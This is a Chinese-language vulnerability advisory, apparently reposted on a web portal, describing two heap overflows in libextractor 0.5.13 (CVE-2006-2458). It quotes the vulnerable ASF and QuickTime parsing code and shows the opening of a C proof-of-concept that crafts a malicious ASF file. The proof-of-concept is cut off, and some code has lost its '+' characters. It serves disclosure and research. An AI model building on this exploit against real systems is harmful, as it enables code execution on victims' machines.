Libextractor本地堆溢出漏洞
2008-04-09 04:16:24来源:互联网 阅读 ()
发布日期:2006-05-17
更新日期:2006-06-02
受影响系统:
libextractor libextractor 0.5.13不受影响系统:
libextractor libextractor 0.5.14描述:
BUGTRAQ ID: 18021
CVE(CAN) ID: CVE-2006-2458
libextractor函数库允许搜索不同文件格式的元数据。
libextractor中存在两个堆溢出漏洞,本地攻击者可能利用此漏洞在机器上执行任意指令。
具体如下:
--------------------------------
A] asfextractor堆溢出
--------------------------------
在启动插件时会分配demux_asf_t结构,然后执行对asf_read_header的调用,读取处理GUID_ASF_STREAM_PROPERTIES和CODEC_TYPE_AUDIO所需的所有输入文件头。在这里名为total_size的32位数字所指定的任意数量数据从ASF文件拷贝到了1024*2字节的wavex缓冲区中。total_size的值是从相同文件读取的,没有对大小执行任意检查,因此可能导致堆溢出。
src/plugins/asfextractor.c:
static int asf_read_header(demux_asf_t *this) {
...
total_size = get_le32(this);
stream_data_size = get_le32(this);
stream_id = get_le16(this); /* stream id */
get_le32(this);
if (type == CODEC_TYPE_AUDIO) {
ext_uint8_t buffer[6];
readBuf (this, (ext_uint8_t *) this->wavex, total_size);
...
-------------------------------
B] qtextractor堆溢出
-------------------------------
插件在处理QT/MOV文件时也存在堆溢出漏洞。在parse_trak_atom函数中使用了攻击者所提供的特定数量的字节分配缓冲区,然后使用了相同输入文件其他数量的数据调用memcpy。
src/plugins/qtextractor.c:
static qt_error parse_trak_atom (qt_trak *trak,
unsigned char *trak_atom) {
...
trak->stsd_size = current_atom_size;
trak->stsd = realloc (trak->stsd, current_atom_size);
memset (trak->stsd, 0, trak->stsd_size);
/* awful, awful hack to support a certain type of stsd atom that
* contains more than 1 video description atom */
if (BE_32(&trak_atom[i 8]) == 1) {
/* normal case */
memcpy (trak->stsd, &trak_atom[i], current_atom_size);
hack_adjust = 0;
} else {
/* pathological case; take this route until a more definite
* solution is found: jump over the first atom video
* description atom */
/* copy the first 12 bytes since those remain the same */
memcpy (trak->stsd, &trak_atom[i], 12);
/* skip to the second atom and copy it */
hack_adjust = BE_32(&trak_atom[i 0x0C]);
memcpy(trak->stsd 12, &trak_atom[i 0x0C hack_adjust],
BE_32(&trak_atom[i 0x0C hack_adjust]));
...
<*来源:Luigi Auriemma (aluigi@pivx.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114790153314065&w=2
http://www.debian.org/security/2005/dsa-1081
http://security.gentoo.org/glsa/glsa-200605-14.xml
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#define VER "0.1"
#define BOFCHR 'a'
#define STRUCTSZ 4196 // the bytes from this->wavex to the
// end of the demux_asf_t struct
#define BOFSZ (STRUCTSZ 8)
void fdinum(FILE *fd, uint64_t num, int size);
void fddata(FILE *fd, const uint8_t *data, int size);
void std_err(void);
const static uint8_t
asf_head[16] =
"\x30\x26\xb2\x75\x8e\x66\xcf\x11\xa6\xd9\x00\xaa\x00\x62\xce\x6c",
asf_stream[16] =
"\x91\x07\xdc\xb7\xb7\xa9\xcf\x11\x8e\xe6\x00\xc0\x0c\x20\x53\x65",
asf_audio[16] =
"\x40\x9e\x69\xf8\x4d\x5b\xcf\x11\xa8\xfd\x00\x80\x5f\x5c\x44\x2b",
asf_none[16] =
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
int main(int argc, char *argv[]) {
FILE *fd;
int bofsize = BOFSZ;
uint8_t *bof;
setbuf(stdout, NULL);
fputs("\n"
"libextractor <= 0.5.13 (revision 2826) ASF heap overflow "VER"\n"
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash